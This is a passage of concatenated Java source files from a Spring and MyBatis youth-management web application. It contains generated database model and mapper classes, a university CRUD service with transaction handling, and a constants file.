Sat Apr 08 18:31:52 ICT 2017 */ public void setReportId(String reportId) { this.reportId = reportId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.REPORT_NAME * * @return the value of qltn_m_report.REPORT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getReportName() { return reportName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.REPORT_NAME * * @param reportName the value for qltn_m_report.REPORT_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setReportName(String reportName) { this.reportName = reportName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.CREATE_USER_ID * * @return the value of qltn_m_report.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.CREATE_USER_ID * * @param createUserId the value for qltn_m_report.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.CREATE_DATE * * @return the value of qltn_m_report.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.CREATE_DATE * * @param createDate the value for qltn_m_report.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.UPDATE_USER_ID * * @return the value of qltn_m_report.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_report.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.LAST_UPDATE_DATE * * @return the value of qltn_m_report.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_report.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_report.DELETE_FLAG * * @return the value of qltn_m_report.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_report.DELETE_FLAG * * @param deleteFlag the value for qltn_m_report.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` bd0502d37a2f6fbddd879b1089d5bfa6e8d81543.svn-base ```package vn.youthmanager.ict.common.db.model; public class QltnMAccessAuthorizationKey { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_access_authorization.ACCESS_AUTHORITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String accessAuthorityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_access_authorization.SCREEN_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String screenId; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_access_authorization.ACCESS_AUTHORITY_ID * * @return the value of qltn_m_access_authorization.ACCESS_AUTHORITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getAccessAuthorityId() { return accessAuthorityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_access_authorization.ACCESS_AUTHORITY_ID * * @param accessAuthorityId the value for qltn_m_access_authorization.ACCESS_AUTHORITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setAccessAuthorityId(String accessAuthorityId) { this.accessAuthorityId = accessAuthorityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_access_authorization.SCREEN_ID * * @return the value of qltn_m_access_authorization.SCREEN_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getScreenId() { return screenId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_access_authorization.SCREEN_ID * * @param screenId the value for qltn_m_access_authorization.SCREEN_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setScreenId(String screenId) { this.screenId = screenId; } }``` BeanNameGenerator.java ```package vn.youthmanager.ict.common.aop; import org.springframework.beans.factory.config.BeanDefinition; import org.springframework.context.annotation.AnnotationBeanNameGenerator; /** * �Ǝ���`�� {@link BeanNameGenerator} * �����Ƃ��� {@link AnnotationBeanNameGenerator} �Ɠ��� */ public class BeanNameGenerator extends AnnotationBeanNameGenerator { @Override protected String buildDefaultBeanName(BeanDefinition definition) { String defaultBeanName = super.buildDefaultBeanName(definition); return defaultBeanName; } }``` Sym0016Mapper.java ```package vn.youthmanager.ict.youth.db.mapper; import java.util.List; import java.util.Map; import vn.youthmanager.ict.youth.db.model.Sym0016Result; /** * * @author nylf1992 * */ public interface Sym0016Mapper { List<Sym0016Result> searchData(Map<String, Object> params); String getSearchDataTotalCounts(Map<String, Object> params); String getLastIdGroups (Map<String, Object> params); } ``` c6d54964f33031381750f42260131cd3c8ec5efe.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMCritera; import vn.youthmanager.ict.common.db.model.QltnMCriteraExample; public interface QltnMCriteraMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int countByExample(QltnMCriteraExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int deleteByExample(QltnMCriteraExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int deleteByPrimaryKey(String criteraId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int insert(QltnMCritera record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int insertSelective(QltnMCritera record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ List<QltnMCritera> selectByExample(QltnMCriteraExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ QltnMCritera selectByPrimaryKey(String criteraId); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMCritera record, @Param("example") QltnMCriteraExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int updateByExample(@Param("record") QltnMCritera record, @Param("example") QltnMCriteraExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int updateByPrimaryKeySelective(QltnMCritera record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_critera * * @mbggenerated Sun May 28 08:44:55 ICT 2017 */ int updateByPrimaryKey(QltnMCritera record); }``` Sym0018Service.java ```package vn.youthmanager.ict.youth.service; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.dao.DuplicateKeyException; import org.springframework.stereotype.Service; import org.springframework.transaction.PlatformTransactionManager; import org.springframework.transaction.TransactionDefinition; import org.springframework.transaction.TransactionStatus; import org.springframework.transaction.support.DefaultTransactionDefinition; import org.springframework.ui.Model; import com.fasterxml.jackson.databind.ObjectMapper; import vn.youthmanager.ict.common.cnst.Constants; import vn.youthmanager.ict.common.cnst.LoggerMessage; import vn.youthmanager.ict.common.db.model.QltnMEducational; import vn.youthmanager.ict.common.db.model.QltnMUniversity; import vn.youthmanager.ict.common.util.Util; import vn.youthmanager.ict.youth.dao.Sym0018Dao; import vn.youthmanager.ict.youth.db.model.Sym0018Conditions; import vn.youthmanager.ict.youth.db.model.Sym0018Result; @Service public class Sym0018Service { private static Logger logger = Logger.getLogger(Sym0003Service.class); @Autowired private Sym0018Dao sym0018Dao; ObjectMapper mapper = new ObjectMapper(); // Variables definition PlatformTransactionManager txManager; @Autowired private ApplicationContext appContext; public void initData(Model model, String educationId) { List<QltnMEducational> educationData = new ArrayList<QltnMEducational>(); try { educationData = sym0018Dao.getQltnMEducationalMapper().selectByExample(null); model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { ex.printStackTrace(); educationData = new ArrayList<QltnMEducational>(); } try { model.addAttribute("educationData", mapper.writeValueAsString(educationData)); } catch (Exception ex) { model.addAttribute("educationData", "''"); } // model default report Id model.addAttribute("educationIdDefault", educationId); } /** * Search University in DB based on search conditions received from client * * @param searchConditions : data received from client * @return List of Universitys data */ public List<Sym0018Result> searchData(Sym0018Conditions searchConditions) { List<Sym0018Result> bnn0018ResultList = new ArrayList<Sym0018Result>(); HashMap<String, Object> params = createSearchConditionParams(searchConditions); try { logger.info(LoggerMessage.SEARCHING_STRATED); // search starts bnn0018ResultList = sym0018Dao.getSym0018Mapper().searchData(params); logger.info(LoggerMessage.EXECUTION_FINISHED); if (bnn0018ResultList.size() > 0) { // "real" total from search result String searchDataTotalCounts = sym0018Dao.getSym0018Mapper().getSearchDataTotalCounts(params); bnn0018ResultList.get(0).setSearchDataTotalCounts(searchDataTotalCounts); // handle University input data convertSanitize(bnn0018ResultList); logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(" ==> " + searchDataTotalCounts + " item(s)"); } else { logger.info(LoggerMessage.SEARCHING_FINISHED); logger.info(LoggerMessage.ZERO_ITEM); } } catch (OutOfMemoryError ex) { ex.printStackTrace(); Sym0018Result tempObj = new Sym0018Result(); tempObj.setSearchDataTotalCounts("-1"); bnn0018ResultList.add(tempObj); } catch (Exception ex) { ex.printStackTrace(); bnn0018ResultList = null; } return bnn0018ResultList; } /** * Create search conditions parameters from data received from client * * @param searchConditions : data received from client * @return HashMap object */ private HashMap<String, Object> createSearchConditionParams(Sym0018Conditions searchConditions) { HashMap<String, Object> params = new HashMap<String, Object>(); // education Id params.put("educationId", searchConditions.getEducationId().equals("") ? "" : searchConditions.getEducationId()); // university Name params.put("universityName", searchConditions.getUniversityName().equals("") ? "" : "%" + searchConditions.getUniversityName() + "%"); // university Code params.put("universityCode", searchConditions.getUniversityCode().equals("") ? "" : "%" + searchConditions.getUniversityCode() + "%"); // From parameter params.put("fromRow", Integer.valueOf(searchConditions.getFromRow())); // Number of items in a page params.put("itemCount", Integer.valueOf(searchConditions.getItemCount())); return params; } /** * Handle University input data * * @param inputData : search result data list */ private void convertSanitize(List<Sym0018Result> inputData) { for (int i = 0; i < inputData.size(); i++) { Sym0018Result currentData = inputData.get(i); // University Name currentData.setUniversityName(Util.convertSanitize(currentData.getUniversityName())); // University Code currentData.setUniversityCode(Util.convertSanitize(currentData.getUniversityCode())); } } /** * Update University's information to DB * * @param UniversityData : data received from client * @return String : update successfully: 1/update failed: -1 */ public String updateData(QltnMUniversity universityData) { // variable definition String returnValue = Constants.UPDATE_RESULT_SUCCESSFUL; // update starts try { // check logged in University id if (Util.getUserInfo().getID() == null) { logger.error(LoggerMessage.ERROR_MESSAGE+ "Could not get logged in University's id"); returnValue = Constants.UPDATE_RESULT_FAILED; return returnValue; } // check for Report input if (!checkInputBlankFields(universityData)) { // blank field(s) logger.error(LoggerMessage.ERROR_MESSAGE +"Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMUniversity universityObj = new QltnMUniversity(); // University Id universityObj.setUniversityId(universityData.getUniversityId()); // University Name universityObj.setUniversityName(universityData.getUniversityName()); // University Code universityObj.setUniversityCode(universityData.getUniversityCode()); // update User id universityObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag universityObj.setDeleteFlag(universityData.getDeleteFlag()); int result = sym0018Dao.getQltnMUniversityMapper().updateByPrimaryKeySelective(universityObj); if (result > 0) { // update successfully // register to DB txManager.commit(status); } else { returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error(LoggerMessage.ERROR_MESSAGE + ex.getMessage()); returnValue = Constants.UPDATE_RESULT_FAILED; } return returnValue; } /** * Insert University's information to DB * * @param UniversityData : data received from client * @return String : insert successfully: 1/insert failed: -1 */ public String insertData(QltnMUniversity universityData) { // variable definition String returnValue = Constants.INSERT_RESULT_SUCCESSFUL; // insert starts try { // check logged in University id if (Util.getUserInfo().getID() == null) { logger.error("Error message: Could not get logged in University's id"); returnValue = Constants.INSERT_RESULT_FAILED; return returnValue; } // check for University input if (!checkInputBlankFields(universityData)) { // blank field(s) logger.error("Error message: Blank fields"); returnValue = Constants.VALIDATE_BLANK_FIELDS; return returnValue; } // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { HashMap<String, Object> params = new HashMap<String, Object>(); params.put("universityIdDefault", Constants.DEFAULT_PARAMS); String idNumberStr = sym0018Dao.getSym0018Mapper().getLastIdUniversity(params); int idNumber = 0; if (idNumberStr != null) { idNumber = Integer.parseInt(idNumberStr.substring(2)); } if (idNumber < Constants.DEFAULT_ID) { idNumber = idNumber + 1; String universityId = Constants.UNIVERSITY_CHARATER + String.format("%0" + Constants.MAX_LENGHT_ID + "d", idNumber); QltnMUniversity universityObj = new QltnMUniversity(); // UniversityId universityObj.setUniversityId(universityId); // education Id universityObj.setEducationId(universityData.getEducationId()); // University Code universityObj.setUniversityCode(universityData.getUniversityCode()); // University Name universityObj.setUniversityName(universityData.getUniversityName()); // create University id universityObj.setCreateUserId(Util.getUserInfo().getID()); // update User id universityObj.setUpdateUserId(Util.getUserInfo().getID()); // delete flag universityObj.setDeleteFlag(universityData.getDeleteFlag()); int result = sym0018Dao.getQltnMUniversityMapper().insert(universityObj); if (result > 0) { // insert successfully // register to DB txManager.commit(status); } else { returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } } catch (DuplicateKeyException ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_DUPLICATED; txManager.rollback(status); } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.INSERT_RESULT_FAILED; } return returnValue; } /** * Delete University from DB * * @param criteriaID : University's id to delete * @return String : delete successfully: 1/delete failed: -1 */ public String deleteData(String universityId) { // variable definition String returnValue = Constants.DELETE_RESULT_SUCCESSFUL; // delete starts try { // transaction starts DefaultTransactionDefinition def = new DefaultTransactionDefinition(); def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED); txManager = (PlatformTransactionManager) appContext.getBean("transactionManager"); TransactionStatus status = txManager.getTransaction(def); try { QltnMUniversity QltnMUniversity = new QltnMUniversity(); QltnMUniversity.setUniversityId(universityId); QltnMUniversity.setDeleteFlag(Constants.DELETE_FLAG_ON); // update University id QltnMUniversity.setUpdateUserId(Util.getUserInfo().getID()); int result = sym0018Dao.getQltnMUniversityMapper().updateByPrimaryKeySelective(QltnMUniversity); if (result > 0) { // delete successfully // register to DB txManager.commit(status); } else { returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; txManager.rollback(status); } } catch (Exception ex) { ex.printStackTrace(); logger.error("Error message: " + ex.getMessage()); returnValue = Constants.DELETE_RESULT_FAILED; } return returnValue; } /** * Get University information based on University's id * * @param criteriaID : University's id received from client * @return University data */ public QltnMUniversity getSingleData(String universityId) { return sym0018Dao.getQltnMUniversityMapper().selectByPrimaryKey(universityId); } /** * Check input: blank fields * * @param UniversityData : data received from client * @return boolean : all fields have value: true/blank fields exist: false */ private boolean checkInputBlankFields(QltnMUniversity criteriaData) { if (criteriaData.getUniversityName().equals("")) { return false; } else { return true; } } } ``` QltnMGroups.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMGroups { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.GROUPS_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String groupsId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.COUNTRY_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String countryId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.CITY_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String cityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.DISTRICT_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String districtId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.WARDS_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String wardsId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.TOWN_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String townId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.GROUPS_CODE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String groupsCode; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.GROUPS_NAME * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String groupsName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.CREATE_USER_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.CREATE_DATE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.UPDATE_USER_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_groups.DELETE_FLAG * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.GROUPS_ID * * @return the value of qltn_m_groups.GROUPS_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getGroupsId() { return groupsId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.GROUPS_ID * * @param groupsId the value for qltn_m_groups.GROUPS_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setGroupsId(String groupsId) { this.groupsId = groupsId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.COUNTRY_ID * * @return the value of qltn_m_groups.COUNTRY_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getCountryId() { return countryId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.COUNTRY_ID * * @param countryId the value for qltn_m_groups.COUNTRY_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setCountryId(String countryId) { this.countryId = countryId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.CITY_ID * * @return the value of qltn_m_groups.CITY_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getCityId() { return cityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.CITY_ID * * @param cityId the value for qltn_m_groups.CITY_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setCityId(String cityId) { this.cityId = cityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.DISTRICT_ID * * @return the value of qltn_m_groups.DISTRICT_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getDistrictId() { return districtId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.DISTRICT_ID * * @param districtId the value for qltn_m_groups.DISTRICT_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setDistrictId(String districtId) { this.districtId = districtId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.WARDS_ID * * @return the value of qltn_m_groups.WARDS_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getWardsId() { return wardsId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.WARDS_ID * * @param wardsId the value for qltn_m_groups.WARDS_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setWardsId(String wardsId) { this.wardsId = wardsId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.TOWN_ID * * @return the value of qltn_m_groups.TOWN_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getTownId() { return townId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.TOWN_ID * * @param townId the value for qltn_m_groups.TOWN_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setTownId(String townId) { this.townId = townId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.GROUPS_CODE * * @return the value of qltn_m_groups.GROUPS_CODE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getGroupsCode() { return groupsCode; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.GROUPS_CODE * * @param groupsCode the value for qltn_m_groups.GROUPS_CODE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setGroupsCode(String groupsCode) { this.groupsCode = groupsCode; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.GROUPS_NAME * * @return the value of qltn_m_groups.GROUPS_NAME * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getGroupsName() { return groupsName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.GROUPS_NAME * * @param groupsName the value for qltn_m_groups.GROUPS_NAME * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setGroupsName(String groupsName) { this.groupsName = groupsName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.CREATE_USER_ID * * @return the value of qltn_m_groups.CREATE_USER_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.CREATE_USER_ID * * @param createUserId the value for qltn_m_groups.CREATE_USER_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.CREATE_DATE * * @return the value of qltn_m_groups.CREATE_DATE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.CREATE_DATE * * @param createDate the value for qltn_m_groups.CREATE_DATE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.UPDATE_USER_ID * * @return the value of qltn_m_groups.UPDATE_USER_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_groups.UPDATE_USER_ID * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.LAST_UPDATE_DATE * * @return the value of qltn_m_groups.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_groups.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_groups.DELETE_FLAG * * @return the value of qltn_m_groups.DELETE_FLAG * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_groups.DELETE_FLAG * * @param deleteFlag the value for qltn_m_groups.DELETE_FLAG * * @mbggenerated Sat Apr 29 13:21:11 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0025Result.java ```package vn.youthmanager.ict.youth.db.model; import vn.youthmanager.ict.common.db.model.QltnMCritera; public class Sym0025Result extends QltnMCritera { private String reportName; private String detailReportName; private String searchDataTotalCounts; public String getSearchDataTotalCounts() { return searchDataTotalCounts; } public void setSearchDataTotalCounts(String searchDataTotalCounts) { this.searchDataTotalCounts = searchDataTotalCounts; } public String getReportName() { return reportName; } public void setReportName(String reportName) { this.reportName = reportName; } public String getDetailReportName() { return detailReportName; } public void setDetailReportName(String detailReportName) { this.detailReportName = detailReportName; } } ``` a2d010e7995cdad663609b8c4309da2219ea6ed7.svn-base ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCityMapper; import vn.youthmanager.ict.common.db.mapper.QltnMCountryMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0012Mapper; /** * * @author nylf1992 * */ @Component public class Sym0012Dao { @Autowired private Sym0012Mapper sym0012Mapper; @Autowired private QltnMCityMapper qltnMCityMapper; @Autowired private QltnMCountryMapper qltnMCountryMapper; public Sym0012Mapper getSym0012Mapper() { return sym0012Mapper; } public QltnMCityMapper getQltnMCityMapper() { return qltnMCityMapper; } public QltnMCountryMapper getQltnMCountryMapper() { return qltnMCountryMapper; } } ``` Constants.java ```package vn.youthmanager.ict.common.cnst; import java.math.BigInteger; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class Constants { // Constants definition // Upload path public static final String UPLOAD_PATH = "C:/Banana Data/images/"; public static final String DOWNLOAD_PATH = "D:/NGHIANL/Project/youth/src/main/webapp/resources/download"; public static final String FILE_PATH = "http://localhost:8080/youth/"; // Role type value public static final String ROLE_TYPE_SYSTEM_MANAGER = "1"; public static final String ROLE_TYPE_BUSINESS_MANAGER = "2"; public static final String ROLE_TYPE_FARM_MANAGER = "3"; public static final String ROLE_TYPE_AREA_MANAGER = "4"; // Delete flag value public static final String DELETE_FLAG_ON = "1"; public static final String DELETE_FLAG_OFF = "0"; // Default Charater for DB public static final String REPORT_CHARATER = "R"; public static final String DETAIL_REPORT_CHARATER = "D"; public static final String CATE_CHARATER = "C"; public static final String CRITERIA_CHARATER = "CR"; public static final String UNIVERSITY_CHARATER = "UN"; public static final String COUNTRY_CHARATER = "CO"; public static final String CITY_CHARATER = "CI"; public static final String DISTRICT_CHARATER = "DI"; public static final String WARDS_CHARATER = "W"; public static final String TOWN_CHARATER = "T"; public static final String GROUPS_CHARATER = "G"; public static final String SPECIALIZED_REPORT_CHARATER = "SP"; public static final String PERSON_CHARATER = "PE"; public static final String NOTE_REPORT_CHARATER = "NT"; public static final String PROCESS_PERSON_CHARATER = "PP"; public static final String FAMILY_RELATION_PERSON_CHARATER = "FP"; public static final String EDUCATION_CHARATER = "E"; public static final String SIGNATURE_CHARATER = "S"; // report Default public static final Integer REPORT_DEFAULT = 999; public 